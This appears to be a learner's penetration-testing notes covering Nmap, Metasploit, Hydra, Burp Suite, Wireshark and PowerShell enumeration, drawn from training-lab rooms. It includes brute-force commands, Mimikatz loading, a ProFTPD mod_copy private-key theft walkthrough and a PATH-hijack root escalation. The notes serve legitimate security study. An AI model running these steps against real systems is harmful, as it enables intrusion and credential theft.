* + Nmap
    - * Perform appropriate enumeration of network map
      * Crucial point to begin attacks
      * 1024 well-known ports
    - Switches
      * -sS = Syn Scan
      * -sU = UDP scan
      * -O = OS scan
      * -sV = service versions
      * -v = verbosity
      * -vv = increased verbosity
      * -oA = output saved to three major file types
      * -oN = normal format
      * -oG – greppable format
      * -A = aggressive scanning
      * -p- <ip> = scan all ports
      * --script = active a script from the map scripting library
      * --script=<category> = active all scripts from a given category
    - Scan Type Overview
      * TCP connect scans = -sT
      * SYN half-open scans = -sS
      * UDP scans = -sU
      * RFC 793 = define TCP protocol behavior
        + RST flag for closed ports
        + ACK = open port
        + Filtered = firewall
    - SYN Scans
      * -sS – used to scan TCP port-range of a target through half-open/stealth scans
        + Replies to SYNACK with RST packet
      * Bypass old IDS looking for full 3way TCP
      * Defeats logs as they aren’t logged until connection is completed via 3way TCP
      * Faster
      * However, require root privilege for use and can bring down unstable systems
      * Nmap under root uses SYN by default, user nmaps use traditional TCP
    - UDP Scans
      * Packets sent to UDP ports should receive no response
      * Closed leads to response with ICMP packet
      * Takes much longer, typically deployed with a specific common UDP port range to limit total scan time – top 20 usually
    - NULL, FIN, XMAS scans
      * Stealthier than SYN but less commonly used
      * Only identify ports as open|filtered, closed, filtered as no response for open (Like UDP)
      * Used for firewall evasion
        + NULL – no flags set

RST response if closed

* + - * + FIN – packet sent with FIN flag

RST is closed

* + - * + XMAS – malformed TCP packet

RST response for closed

* + - * RFC 739 – Windows and Cisco often reply to malformed TCP packets with RST, even if port is not closed
    - ICMP Network Scanning
      * Ping sweep
      * -sn + IP range
        + Ex) nmap -sn 192.168.0.1-254 or nmap -sn 192.168.0.0/24
      * -sn prevents port scan, relying instead on ICMP packets (ARP for local)
        + Ex) nmap -sn 172.16.0.0/16
        + 172.16.x.x network with netmasl 255.255.0.0 and Class B CIDR notation
    - [NSE Scripts] Overview
      * Lua programming language
      * Several important categories
        + Use <name>\* for all scripts with a name in it

Ex - -script=smb\*

* + - * + Safe – wont affect target
        + Intrusive – not safe, likely affect target
        + Vuln – scan for vulns
        + Exploit – attempt to exploit vuln
        + Auth – attempt to bypass authentication for running services
        + Brute – bruteforce credentials
        + Discovery – query running services for further information about the network
      * --script=<script-name>,<script-name>
      * --script-args (after –script=)
        + <script-name>.<argument>
      * Check on nmap website and storage on attacking machine
    - Firewall Evasion
      * Default firewall will block ICMP
        + Issue for ping and nmap use
      * -Pn – nmap does not ping host before scanning, treating target as alive
      * Can also try:
        + -f = fragment packets, harder to detect
        + –mtu <number> - max transmission size of packets (must be multiple of 8) like -f but more control
        + - - scan – delay <time>ms – used to add delay between packets sent

Useful for unstable networks or IDS evasion

* + - * + - - badsum – used to generate invalid checksum for packets, which can be used to determine if IDS/firewall is present
    - Practical
      * Xmas scan on first 999 ports of target, how many are shown to be open or filtered?
        + Input: nmap -sX -Pn -p1-999 -vv <ip>
      * Perform a TCP SYN scan on the first 5000 ports of the taget
        + Input: nmap -sT -Pn -p1-5000 -vv <ip>
      * Deploy the ftp-anon script against the box. Can nmap login successfully to the FTP server on port 21?
        + Input: nmap -Pn -p21 - - script=ftp-anon -vv <ip>
* Nmap Defense
  + IDS/IPS
    - Snort, Suricata
  + Installed on firewalls (such as pfSense)
    - rulesets, emerging threats
    - detect aggressive timing templates

Metasploit

* Initialize db – msfdb init
* Msfconsole -h = help or “?”
  + Msfconsole
  + Db\_status
    - Postgresql
  + Search = used for searching modules
  + Use = select module as active module
  + Connect = netcat like function to make quick connection to a host to verify one can talk to it
  + Set = change value of a variable – common command
  + Setg = change value of a global variable – common command
  + Unset – change variable to null/no value
  + Spool – write console output into a file as well as the screen.
  + Save – store settings/active datastores from Metasploit to a savings file
  + Load – load different modules, framework plugins
* Six Core Modules
  + Exploit – most common module utilized
  + Payload – contains shellcode to be executed
  + Encoder – modify appearance of exploit to avoid signature detection
  + NOP – used with buffer overflow and ROP attacks
  + Auxiliary – scanning and verification
  + Post – looting and pivoting
* Metasploit comes with built-in method to run nmap
* PICK EXPLOIT 🡪 PICK PAYLOAD 🡪 LHOST 🡪 RHOSTS 🡪 EXPLOIT
  + Ex) db\_nmap -sV -Pn -vv <ip>
  + Hosts command
  + Services command
  + Vulns
  + Use “exploitname”
  + Search
  + Set LHOST
  + Set RHOST
  + Exploit or run -j
  + Jobs command to check active jobs
  + Sessions to list all sessions
    - Interact via sessions -I <session number>
  + Migrate command to transfer into a process from the spool (using PID)
    - Need sufficient privilege
  + Use meterpreter HELP for assistance
    - Getuid – find out more information regarding the current user process is running in
    - Sysinfo – find out more about the information itself
    - Load kiwi – mimikatz for credential stealing
    - Getprivs – figure privileges of current user
    - Upload – transfer files to victim computer
    - Run – run a Metasploit module
    - Ifconfig/ipconfig – display networking information and interfaces
  + Run post/windows/gather/checkvm
    - Determine if inside VM
  + Run post/multi/recon/local\_exploit\_suggester
    - Check for various exploits that can be ran within session to elevate privileges
  + Run post/windows/manage/enable\_rdp
  + Shell – command – run meterpreter session to spawn a normal system shell
* Making Cisco proud
  + Run autoroute -h
  + Pivoting through victim with NICs
  + Add a route to subnet
    - Run autoroute -s <ip> -n <subnet>
* Windows Kernel-Level Exploits
  + once meterpreter has connected to victim windows
    - run post/multi/recon/local\_exploit\_suggester
  + generate payload using msfvenom
    - copy payload over to the target using compromised user credentials
  + open share folder and double-click payload
    - capture callback using multihandler module with properly configured LHOST, LPORT, and payload option
  + Can also use windows/gather/enum\_patches
    - also use WMIC utility
      * C:\Users\user > wmic qfe get Caption,Description,HotFixID,InstalledOn
        + correlate missing patches found in Metasploit

Nessus

* To start nessus: run command - /bin/systemctl start nessusd.service
  + Then go to <https://kali:8834/> to configure the scanner

Hydra

* Brute-force online password cracking program
* Hydra in terminal
* Options passed in hydra depend on protocol
  + SSH, FTP, etc.
* Username and password list txt file
  + Ex. Hydra -l user -P passlist.txt <ftp://10.10.115.6>
* Brute-force webforms as well
* Browser network tab (in developer tools)
  + GET or POST methods
* Rockyou.txt from /usr/share/wordlist/rockyou
* Tar -xvf extract file for password list
* Paired with burpsuite to intercept message, extract syntax of password and username structure as well as fail statement for incorrect input

### What is Hydra?

Hydra is a brute force online password cracking program; a quick system login password 'hacking' tool.

We can use Hydra to run through a list and 'bruteforce' some authentication service. Imagine trying to manually guess someones password on a particular service (SSH, Web Application Form, FTP or SNMP) - we can use Hydra to run through a password list and speed this process up for us, determining the correct password.

Hydra has the ability to bruteforce the following protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,  HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

For more information on the options of each protocol in Hydra, read the official Kali Hydra tool page: <https://en.kali.tools/?p=220>

This shows the importance of using a strong password, if your password is common, doesn't contain special characters and/or is not above 8 characters, its going to be prone to being guessed. 100 million password lists exist containing common passwords, so when an out-of-the-box application uses an easy password to login, make sure to change it from the default! Often CCTV camera's and web frameworks use admin:password as the default password, which is obviously not strong enough.

### Installing Hydra

If you're using Kali Linux, hydra is pre-installed. Otherwise you can download it here: <https://github.com/vanhauser-thc/thc-hydra>

If you don't have Linux or the right desktop environment, you can deploy your own Kali Linux machine with all the needed security tools. You can even control the machine in your browser! Do this with our Kali room - <https://tryhackme.com/room/kali>

### Using Hydra

The options we pass into Hydra depends on which service (protocol) we're attacking. For example if we wanted to bruteforce FTP with the username being user and a password list being passlist.txt, we'd use the following command:

hydra -l user -P passlist.txt ftp://192.168.0.1

For the purpose of the Christmas challenge, here are the commands to use Hydra on SSH and a web form (POST method).

**SSH**

hydra -l <username> -P <full path to pass> <ip> -t 4 ssh

| **Option** | **Description** |
| --- | --- |
| -l | is for the username |
| -P | Use a list of passwords |
| -t | specifies the number of threads to use |

**Post Web Form**

We can use Hydra to bruteforce web forms too, you will have to make sure you know which type of request its making - a GET or POST methods are normally used. You can use your browsers network tab (in developer tools) to see the request types, of simply view the source code.

Below is an example Hydra command to brute force a POST login form.

hydra -l <username> -P <password list> <ip> http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V

| **Option** | **Description** |
| --- | --- |
| -l | Single username |
| -P | indicates use the following password list |
| http-post-form | indicates the type of form (post) |
| /login url | the login page URL |
| :username | the form field where the username is entered |
| ^USER^ | tells Hydra to use the username |
| password | the form field where the password is entered |
| ^PASS^ | tells Hydra to use the password list supplied earlier |
| Login | indicates to Hydra the Login failed message |
| Login failed | is the login failure message that the form returns |
| F=incorrect | If this word appears on the page, its incorrect |
| -V | verborse output for every attempt |

BURPSUITE

* Setting Burpsuite certificate for Firefox to act as proxy
* FoxyProxy
* Create and add settings for Burp
  + 127.0.0.1
  + 8080
* <http://localhost:8080>
  + Download CA cert
* Settings in Firefox
  + View certificates
  + Import
  + Ok/ok
  + Save
* Components
  + Proxy – funnel traffic through burp
  + Target – set scope – create sitemap of tested app
  + Intruder – tool for fuzzing, stuffing, etc
  + Repeater – repeat requests, used in conjunction with intruder
  + Sequencer – analyzes random parts of websites, often used to test cookie randomness
  + Decoder – perform data transformation
  + Comparer – compare different responses or pieces of data or proxy histories (like Linux tool diff)
  + Extender – add components
  + Scanner – automated web vuln scanner
* Proxy
  + Requests require authorization to be sent
  + In-line modification of requests – MiTM attacks
  + Drop requests – helpful in watching web response
  + Forward requests to intruder and repeater for modification to induce vulns
  + Ctrl-I – shortcut to send traffic to intruder, ctrl-r for repeater
  + Websockets history – saved history, commonly used to collaborate application requiring real-time updates (like googledocs)
  + http history – useful for proof of actions through pentesting or modifying/resending a request
  + intercept client requests
    - and – URL – is in target scope
      * helps limit proxy intercept by not disturbing user searches outside of specified target
* Target
  + Define scope, view sitemap, specify definitions
  + Build scope
    - Tiered approach
      * Lowest privilege – site visitor or base user
      * Discover full extent of site – happy path
      * Remove unrelated items from scope after building site map from happy path
  + Target – sitemap – right-click and add to scope
  + Issue definitions – how issues are defined for reporting
* Repeater
  + Typically used for the purposes of experimentation or more fine-tuned exploitation wherein automation may not be desired.
  + Attempt login
    - Send failed attempt (found in HTTP history) to repeater and intruder
  + Repeater
    - Adjust request to use single quote (‘) as both place of email and password
    - Enter as “’”
    - Causes sqlite\_error
      * Indicates login vulnerable to SQLi
    - Intercept GET/POST – ID and change parameters before forwarding
  + Intruder
    - Many uses – core use: automation
    - Repeat testing once POC established
      * Enumerating identifiers, cycling through predictable sessions, attempting simple password guessing
      * Harvesting useful data from user profiles via grepping
      * Fuzzing for vulns such as SQL injection, XSS, and path traversal
    - Four Different Attack Types
      * Sniper – most popular, cycles through selected positions, putting the next available payload in each position in turn, uses only one set of payloads (wordlist)
      * Battering Ram – uses only one set of payloads, puts every payload into every selected position
      * Pitchfork – use multiple payload sets (one per position selected) and iterate through both payloads simultaneously. Cycle through combinations equaling smallest payload set provided
      * Cluster bomb – multiple payload sets (one per position selected) and iterate through all combinations of the payload lists provided.
    - Fuzzdb SQLi platform detection list
    - Positions subtab
      * Sniper
      * Choose positions to enter payloads (email and password), must be between quotes – do not include the quotes
    - Payloads subtab
      * Payload options
        + Load

Choose password file

* + - * + Uncheck URL encode
        + Attack
        + Payload for first 200 code
    - TO CHECK OK’d FILE EXTENSIONS
      * Vulnversity Walkthrough
      * Create wordlist with extensions
      * Upload innocent file
      * Intercept
      * Send to intruder
        + Sniper
        + Positions

Filename extension “Add”

* + - * Run Attack to see what extensions are allowed
  + Sequencer
    - Test randomness of session tokens, anti-CSRF tokens, password reset tokens
    - http history subtab
      * dig for response which issues a cookie “set-cookie”
        + be sure to check for request containing cookieconsent\_status=dismiss and response with set-cookie containing repeat in {} below body of headers
        + analyze now button should light up
      * send to sequencer
    - start live capture
      * capture ~10k requests
        + pause and analyze
        + measured entropy
        + usable bits of entropy

normalize dataset

* + Decoder and Comparer
    - Comparer is good for
      * Username enumeration conditions, compare responses to failed logins, subtle response differences, intruder attacks, *comparing site maps, proxy history for application behavior* (reveal access control issues)
        + Testing for blind SQL injection bugs using Boolean condition injection
      * Words or bytes comparison
    - Smart decode – magic function where it will automatically attempt to decode input provided
  + Extender
    - * Logger++ - enhanced logging to all requests and responses from all burpsuite tools
      * Request smuggler – allows attempt to smuggle requests to backends servers
      * Authorize – authentication testing in web app tests. Typically revolve around navigating to restricted pages or issuing restricted GET requests with the session cookies of low-privleged users
      * Burp teams server – allows for collaboration on a burp project amongst team members
      * Retire.js – adds scanner checks for outdated JS libraries that contain vulns
      * J2EEScan – adds scanner test coverage for J2EE applications
      * Request Timer – captures response time for requests made by all burp tools, useful for discovering timing attack vectors
    - Need Jython beforehand
    - Extender options tab
      * Python environment – jython standalone
        + Download jar file and move to documents, select and upload
      * BApp Store
        + Authorize, bookmarks, logger++

OhSINT

Exiftool

Author of image = copyright, GPS

Google search

Wigle.net – cybernullius and saved password to firefox

Inspect element – search for =”true” signs – potential indication of a password

Wireshark

* Created for analyzing packet captures
* Live capture or pre-loaded PCAPS
  + Green ribbon – manage capture filters
* When performing analysis
  + Packet number
  + Time
  + Source and Destination
  + Protocol
  + Length
  + Packet Info
  + Packet color coding/danger level coding
* Ways to gather PCAP files – Collection Methods
  + Ensure computer power and system memory available for analyzing a given size network
  + Methods
    - Network Taps
      * Physical implant – used by Threat Hunting/DFIR teams/Red Teams
        + Hardware taps

Vampire Taps

Directly on a wire

* + - * + Inline network tap

Between network devices

Throwing Star LAN Tap

* + - MAC Floods
      * Used by red teams to actively sniff packets
      * Stress switch and fill CAM table
        + Once CAM is filled, Switch will no longer accept new MAC addresses
        + To prevent backlog, switch will send out packets to all ports on the switch
        + Use technique with caution and explicit consent
    - ARP Poisoning
      * Used by red teams
      * Redirect traffic from host(s) to machine being used for monitoring
      * Will not stress network equipment (as MAC Floods do), but should still be used with caution if other methods are unavailable
* Filtering Captures
  + Display captures
    - Added through Analyze tab and Filter bar on top of packet capture
  + Filtering Operators
    - And – operator: and/&&
    - Or – operator: or / ||
    - Equals – operator: eq/==
    - Not equal – operator: ne / !=
    - Greater than – operator: gt / >
    - Less than – operator: lt / <
    - Additional contains, matches, and bitwise\_and operators for searching for single packets in mass collections
  + Basic Filtering
    - Gives large scope via syntax options
    - Syntax: <protocol>.<filter type> == <IP address>
      * Ex. ip.addr == <IP address>
      * Ex. ip.src == <SRC IP address> and ip.dst == <DST IP Address>
      * Ex. tcp.port eq <Port #> or <Protocol Name>
      * Ex. udp.port eq <Port #> or <Protocol Name>
    - Helpful in conducting further analysis on a potentially malicious source
      * http.request.method == GET / POST
    - Export Objects to look for files worth examining further
* Packet Dissection
  + Use of OSI Layers
  + Packet Details
    - Packets consist of 5-7 layers
      * Ex. frame/packet; source [MAC]; source [IP]; protocol; protocol errors; application protocol; application data;
    - Frame (Layer 1) – show frame/packet, details of Physical Layer
    - Source [MAC] (Layer 2) – show source and destination MAC addresses, from Data Link Layer
      * Ex. Ethernet II
    - Source [IP] – shows source and destination IPv4 Addresses, from Network Layer of the OSI model
    - Protocol – shows details of protocol used (TCP/UDP) along with source and destination ports, from the Transport Layer
      * Ex. Transmission Control Protocol
    - Protocol Errors – continuation of fourth layer showing specific segments from protocol used above that needed to be reassembled
      * Ex. Reassembled <TCP/UDP> Segments
    - Application Protocol – show details specific to the protocol being used such as HTTP, FTP, SMB, etc. – Application Layer
    - Application Data – extension of layer 5 that can show the application specific data
      * Ex. Line-based text data
* ARP Traffic
  + Address Resolution Protocol – Layer 2 Protocol
    - Connects IP addresses with MAC addresses
    - Will contain REQUEST and RESPONSE messages
    - Identified with Request (1) and Response (2) codes
      * Most devices will ID themselves or be ID’d by Wireshark
      * Suspicious traffic will likely come from an unrecognized source
  + ARP Traffic Overview
    - Key things to look for
      * Opcode
        + Operation code – denote request or reply
      * Target MAC address
        + Where request is being sent
      * Sender MAC Address and Sender IP Address
* ICMP
  + Internet Control Message Protocol
    - Analyze various network nodes
      * Ping traceroute
  + ICMP Traffic Overview
    - Type and code of the packet are important
      * Type = 8 🡪 request packet
      * Type = 0 🡪 reply packet
    - If either are altered, sign of suspicious activity
    - Timestamp and Data
      * Timestamp provides timeline assistance
      * Data is usually a random character string
        + Copy “value”
* TCP Traffic
  + Transmission Control Protocol – handles delivery of packets including sequencing and errors
    - * Ports closed is RST, ACK packets are in red
    - Due to sheer number of TCP packets captured by Wireshark requires assistance from RSA NetWitness and NetworkMiner to filter out and analyze
  + Necessary to Know TCP Handshake (SYN 🡪 SYN-ACK 🡪 ACK)
    - If out of order, or includes other packets such as RST, indicates suspicious activity
  + TCP Packet Analysis
    - Main thing to search for
      * Sequence number
        + Edit > preferences > protocols > TCP > relative sequence numbers (uncheck boxes)
      * Acknowledgement number
        + If 0, port is not open
* DNS Traffic
  + Domain Name Service Protocol – resolves IP addresses
    - Search for
      * Query-Response
      * DNS-Servers Only
      * UDP
        + If any of these are out of place, consider suspicious and analyze
  + DNS Traffic Query
    - Source – UDP, Dst Port: #
      * If port is incorrect, consider packet suspicious
    - Queries List
    - Essential to understand what is typical traffic in the network environment you are analyzing
      * Google searches normal?
      * Social Media Sites?
    - DNS Response
      * Answers List as opposed to Queries List
      * Transaction IDs
* HTTP Traffic
  + Used to send GET and POST requests to a web server in order to receive things such as webpages
    - Useful in spotting SQLi, Web Shells, and other web-related attacks
  + HTTP Traffic Overview
    - Does not use handshakes or prereqs before communication
    - Important information to gather
      * Host
      * User-agent
      * Request URI
      * Response
      * File Data
      * Server
    - Analyze with Protocol Hierarchy
      * Statistics > Protocol Hierarchy
      * Useful for threat hunting to identify discrepancies in packet captures
    - Export HTTP Object
      * Allow organize all URIs in capture
      * File > Export Objects > HTTP
      * Useful in quickly identifying possible discrepancies
    - Endpoints
      * Allow user to organize all endpoints and IPs found within a specific capture
      * Useful in identifying discrepancies
      * Statistics > Endpoints
* HTTPS Traffic
  + Begin analyzing HTTPS traffic by looking at packets for the handshake between client and server
    - Client Hello Packet
      * Contains
        + SSLv2 Record Layer
        + Handshake Type
        + SSL Version
    - Server Hello Packet
      * Contains
        + Session Details
        + SSL Certificate information
    - Client Key Exchange Packet
      * Part of the handshake will determine public key use to encrypt further messages between Client and Server
    - Server Confirm Packet
      * Confirm public key and create secure tunnel
      * Traffic will be encrypted at this point and require private key for decryption
    - To unencrypt data
      * With private key
        + Edit > Preferences > Protocols > TLS > RSA Keys List > [+]

Fill in IP Address

Port: start\_tls

Protocol: http

Keyfile: RSA Key Location

* + - * Can now view unencrypted data streams
  + Search for
    - * Request URI
      * User-Agent
    - Good for threat hunting and network administration
    - Export HTTP object
* Analyzing Exploit PCAPs
  + Zerologon PCAP Overview
    - Windows Active Directory Exploit – CVE-2020-1472
  + Identifying the Attacker
    - Normal traffic from OpenVPN, ARP, etc
    - Abnormal Traffic from unknown protocols such as DCERPC and EPM
      * Check IP source
  + Zerologon POC Connection Analysis
    - Set filter for the source of the IP
    - Search for IOCs
      * Indicators of Compromise
      * Threat Intelligence
        + Verify nature of attacks via PCAP analysis

Such as Zerologon’s use of numerous RPC connections and DCERPC requests to change machine account password

* + Secretsdump SMB Analysis
    - SMB2/3 traffic and DRSUAPI traffic 🡪 indicator of Secretsdump use to dump hashes
    - Unique artifacts of attacks
    - ID and isolate threats, report incidents
  + As long as file is transferred over HTTP, TFTP, FTP, or SMB, data can be extracted from packet capture
    - File 🡪 Export Objects 🡪 HTTP/etc 🡪 \*item\*
    - if obfuscated with zipped files, using tools such as fcrackzip can assist in brute forcing the password
  + If data is hidden via steganography
    - tools such as Steghide can be used to counter and find data
      * ex. steghide extract -sf ./<image>.jpg

KENOBI – Enumerating Samba for shares

* Standard windows interoperability suite of programs for linux and unix
  + Allows end users to access and use files, printers, and other shared resources
  + Network file system
* Commonly based on common client/server protocol of Server Message Block (SMB)
  + Without Samba, non-Windows machines would be isolated, even if on same network
* Can use nmap for SMB shares
  + Script
    - “nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse <ip>
  + Two ports
    - 139 – originally ran ontop of NetBIOS
    - 445 – later versions, on top of TCP stack, allows internet use
  + Inspect found shares
    - “smbclient //<ip>/anonymous”
  + Recursive downloads of SMB shares
    - “smbget -R smb://<ip>/anonymous
    - Find out information about SSH key generation
    - ProFTPD server info
* “rpcbind” discovered during nmap scan
  + Server converts remote procedure call (RPC) program numbers into universal addresses
    - When started, rpcbind is told what address is listening and the RPC program number it is prepared to serve
  + Port is access to network file system
  + Enumerate
    - “nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount <ip>
* Gain initial access with ProFtpd
  + Get version of ProFtpd running using netcat to connect to the machine on the FTP port
    - Syntax: nc <ip> <port discovered, usually 21>
    - Use searchsploit to find exploits for a particular software version
    - Syntax: searchsploit proftpd <version>
      * “mod\_copy module” exploit
        + Mod\_copy module implements SITE CPFR and SITE CPTO commands

Used to copy files/directories from one place to another on the server

Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination

* + - Prior data pull shows username (/home/Kenobi/) and ssh key generation (/home/Kenobi/.ssh/id\_rsa)
      * Copy Kenobi’s private key using SITE CPFR and SITE CPTO commands
      * In nc connection
        + Ex. SITE CPFR /home/Kenobi/.ssh/id\_rsa
        + Then SITE CPTO /var/tmp/id\_rsa
        + /var/ chosen because it was a mount anonymous can see from previous enumeration above (nfs-showmount)
      * Mount /var/tmp directory to attacker machine
        + “sudo mkdir /mnt/<custom name, such as kenobiNFS>
        + “sudo mount <machine\_ip>:/var /mnt/kenobiNFS
        + “ls -la /mnt/kenobiNFS
      * Network mount is now on deployed machine
        + Can now go to /var/tmp and get the private key then login to user account
        + “cp /mnt/kenobiNFS/tmp/id\_rsa .”
        + Sudo chmod 600 id\_rsa
        + Ssh -I id\_rsa kenobi@<ip>
      * Sign in and find flags
* Privilege Escalation with Path Variable Manipulation
  + SUID Bit – user executes the file with permissions of the *file* owner
  + SGID Bit – user executes the file with the permissions of the *group* owner
    - File created in directory gets the same group owner
  + Sticky Bit
    - Users are prevented from deleting files from other users
  + To search a system for those types of files
    - Run: find / -perm -u=s -type f 2>/dev/null
      * /usr/bin/menu
      * Use “strings” command to check path and determine with or without full path
        + Without a full path, can manipulate path to gain root shell
      * Process
        + “echo /bin/sh > curl”
        + “chmod 777 curl”
        + “export PATH=/tmp:$PATH”
        + “/usr/bin/menu”

Confirm new root access

RustScan

* Fast
  + Low-level kernel networking
  + Written in rust
  + Asynchronous scanning
* RustScan Scripting Engine
  + Python, Shell, Perl
* Adaptive Outbound SYN
* Custom Top Ports
* Operating System Adaption
* Basic format
  + “rustscan -r ports -a <target IP> - - <nmap cmds>
  + “-p” – port scanning, separate by commas
  + - - range

Powershell – Hacking with Powershell

* Windows Scripting Language and shell environment using .NET framework
  + Allows Powershell to execute .NET functions directly from its shell
  + Most Powershell commands, called cmdlets, are written in .NET
    - The output of cmdlets are objects, allowing outputs to be passed from one cmdlet to another – similar to OOP
    - Verb-noun format
    - Ex. Get-Command
      * Common verbs
        + Get
        + Start
        + Stop
        + Read
        + Write
        + New
        + Out
* Basic Powershell Commands
  + Get-Command
    - Gets all cmdlets installed on current computer
    - Allows for pattern matching
      * Ex. Get-Command Verb-\* or Get-Command \*-Noun
      * Ex. Get-Command New-\*
        + View all cmdlets for the verb “New”
  + Get-Help
    - Displays information about a cmdlet
    - Syntax. Get-Help <Command-Name> <-Flag>
      * Ex, Get-Help Get-Command -Examples
  + Object Manipulation
    - * Passing output to other cmdlets
      * Using specific object cmdlets to extract information
    - Pipeline | used to pass output from one cmdlet to another
      * Powershell passes an object to the next cmdlet, as opposed to text or a string
    - Objects will contain methods and properties
      * Methods are functions that can be applied to output from the cmdlets
      * Properties are variables in the output from a cmdlet
    - To view, pass the output of a cmdlet to the Get-member cmdlet
      * Syntax. Verb-Noun | Get-Member
      * Ex. Get-Command | Get-Member -MemberType Method
  + Creating Objects From Previous cmdlets
    - Pulling out the properties from the output of a cmdlet and creating a new object
    - Done with Select-Object cmdlet
      * Ex. Get-ChildItem | Select-Object -Property Mode, Name
    - Additional flags
      * First – gets the first x object
      * Last – gets the last x object
      * Unique – shows the unique objects
      * Skip – skips x objects
  + Filtering Objects
    - To select objects that match a very specific value
      * Where-Object to filter based on value of properties
    - Syntax – Verb-Noun | Where-Object -Property PropertyName -operator Value
    - Syntax – Verb-Noun | Where-Object {$\_.PropertyName – operator Value}
      * This version uses $\_ operator to iterate through every object passed to the Where-Object cmdlet
      * -operator
        + -Contains – any item in property value is exact match for specified value
        + -EQ - property value is same as specified value
        + -GT – property value is greater than the specified value
        + Additional operators available through research
      * Ex. Get-Service | Where-Object -Property Status -eq Stopped
  + Sort Objects
    - Can sort cmdlet output efficiently by pipelining the output of a cmdlet to the Sort-Object cmdlet
    - Syntax – Verb-Noun | Sort-Object
    - Ex. Get-ChildItem | Sort-Object
  + Practical
    - To find a file with a given name
    - Get-ChildItem -Path C:\ -Include \*filename\* -File -Recurse -ErrorAction SilentlyContinue
    - Get-ChildItem -Path C:\ -Include \*filename\* -Recurse | Select-Object -Property FullName
      * To specify contents
      * Get-Content -Path “C:\Program Files\interesting-file.txt.txt”
    - To detect how many cmdlets are installed on the system
      * Get-Command -CommandType Cmdlet | Measure
        + Commandtype specifies cmdlets only, not counting functions and aliases
    - To get hash of a specific file
      * Get-FileHash -Algorithm MD5 -Path “C:\Program Files\interesting-file.txt.txt”
    - To get the current working directory
      * Get-Location
    - To check if a specific PATH exists
      * Get-Location “<PATH>”
      * Ex. Get-Location “C:\Users\Administrators\Documents\Passwords”
        + If error, likely doesn’t exist
    - To make a request to a web server
      * Invoke-WebRequest
    - To decode a file
      * Get-ChildItem -Path C:/ -Include <file> -Recurse -File
      * Certutil -decode “file PATH” file.txt
      * Get-Content file.txt
    - -ErrorAction SilentlyContinue – specifies what action to take if the command encounters an error
    - -Path – specifies a path to one or more locations
    - -File/-Directory – to get a list of files or directories, can use Recurse parameter
    - -Filter – specifies a filter to qualify the Path parameter
    - -Recurse – gets the items in the specified locations and in all child items of the locations
    - -Hidden – to get only hidden items
* Enumeration – Powerview and Powerview Pro Tips on Github
  + To determine how many users are on the machine
    - Get-LocalUser | Measure
  + To determine which user is attached to a given SID
    - Get-LocalUser -SID “SID Number”
  + To get list of all users on local domain
    - Get-NetUser | select cn
  + To determine which users have password required values set to false
    - Get-LocalUser | Select-Object Name, PasswordRequired
  + To determine number of existing local groups
    - Get-LocalGroup | Measure
  + To retrieve IP address info
    - Get-NetIPAddress
  + To determine how many ports are listening
    - Get-NetTCPConnection | Where-Object -Property State -Match Listen | Measure
  + To determine remote address of a specific port
    - Get-NetTCPConnection -State Listen -LocalPort <port #>
  + To determine how many patches have been applied
    - Get-Hotfix | Measure
    - To find info about a specific patch ID
      * Get-Hotfix -ID <ID>
  + To find the contents of a backup file
    - Get-ChildItem -Path C:\ -Include \*bak\* -File -Recurse -ErrorAction SilentlyContinue | Get-Content
  + To search for contents containing API\_KEY
    - Get-ChildItem C:\\* -Recurse | Select-String -Pattern API\_KEY
  + To list all running processes
    - Get-Process
  + To determine the path of a task
    - Get-ScheduledTask -TaskName “Task Name”
  + To determine owner of the C:\
    - Get-ACL C:\
  + To get the name of the operating system
    - Get-NetComputer -fulldata | select operatingsystem
  + To get list of local groups on network
    - Get-NetGroup -GroupName \*
    - net localgroup
  + To check when a password was last set for a service’s user
    - Get-ADUser -identity <service> -properties \*
    - Get-NetUser -SPN | ?{$\_.memberof -match ‘Domain Admins’}
      * Check for PasswordLastSet
* Basic Scripting
  + Powershell ISE
    - Scripts have .ps1 file extension
  + To create variables
    - $variable\_name = value
  + To iterate through all ports
    - Foreach($new\_var in $existing\_var){}
  + To script to search for certain keywords
    - $Path = "C:\Users\Administrator\Desktop\Emails" – the target path
    - $PassFile = Get-ChildItem $Path -Recurse | Select-String "Keyword"
    - Echo $PassFile
      * Passfile is a created variable for the script
* Intermediate Scripting
  + Determine open ports within a given range
* for($i=130; $i -le 140; $i++){  
   Test-NetConnection localhost -Port $i  
  }
  + - * save to .ps1 file and run
* ADS/NTFS
  + Get-Item -Path file.exe -Stream \*
    - wmic process call create $(Resolve-Path file.exe:<streamname>)

Google Dorking

* web crawlers/spiders scrap data
  + indexing keywords via crawling
* information is processed and stored in dictionaries
  + entries reevaluated and fine-tuned with continued crawling
* attempt to traverse every URL and connection to build web
* decision on hierarchy of domain relevance
* Search Engine Optimization
  + prioritizing domains as they are easier to index
  + website responsiveness to browsers
  + ease of which to crawl websites using sitemaps
  + use of keywords
  + Google Site Analyzer
* Website/Server owners stipulate what content crawlers can scrape
  + not everything should be scrapable by crawlers
    - such as Admin pages
    - Robots.txt
* Robots.txt
  + the first thing indexed by crawlers
  + served at the root directory
    - specified by webserver
    - defines permissions crawler has to website
    - what files and directories crawler can and cannot index
      * user-agent – type of crawler
      * allow – what can be indexed
      * disallow – what cannot be indexed
      * sitemap – reference to location
        + /sitemap.xml
      * .conf – extension of Unix/Linux system config file that is often hid from Crawlers
  + operates on blacklisting basis
* Sitemaps
  + indicative resources helpful for crawlers
    - specify necessary routes to find content on a domain
      * routes to nested-content
      * actual pages
    - XML formatted
* Using Google for Advanced Searching
  + quotation marks to use exact search
  + site:<website> <search query> to refine search to a specific website
  + filetype: - search for file by extension
    - ex. site:bbc.co.uk filetype:pdf
